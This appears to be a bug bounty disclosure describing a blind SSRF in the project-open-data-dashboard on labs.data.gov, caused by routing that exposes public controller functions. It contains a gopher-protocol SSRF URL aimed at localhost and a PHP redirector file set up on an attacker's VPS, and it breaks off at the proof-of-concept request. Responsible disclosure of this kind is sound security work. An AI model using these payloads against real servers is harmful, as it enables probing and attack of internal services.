TTS Bug Bounty: Blind SSRF on https://labs.data.gov/dashboard/Campaign/json_status/ Endpoint

Summary: Due to improper routes handling multiple malicious actions are possible. Attacker is able to call Class/Function/Param1/Param2 directly from source code. this may lead to call function that should be not accessible from GUI. Any Class from https://github.com/GSA/project-open-data-dashboard/tree/master/application/controllers Can be called and any function as all of them are public. Description: Below we present example function call from routes. As example we present "json_status" function located at https://github.com/GSA/project-open-data-dashboard/blob/f29c98267f7d843e82bfdd0f61a8272a6225aeb6/application/controllers/Campaign.php#L1048 Following URL Allow to call "json_status" function Function definition is following: public function json_status($status, $real_url = null, $component = null) To call function parameters we have to call following URL: https://labs.data.gov/dashboard/Campaign/json_status/$status/$real_url/$component Example URL will call SSRF to localhost using gopher protocol: https://labs.data.gov/dashboard/Campaign/json_status/gopher%3A%2F%2F127.0.0.1/ Due to this functionality multiple actions was possible SSRF: Prepare malicious php file on VPS **o.php root@vps778339:/var/www/html# cat o.php <?php $s = $_GET["s"]; header("Location: ".$s); ?> Send request to "json_status" function as below described. POC **Request to send gopher request: GET...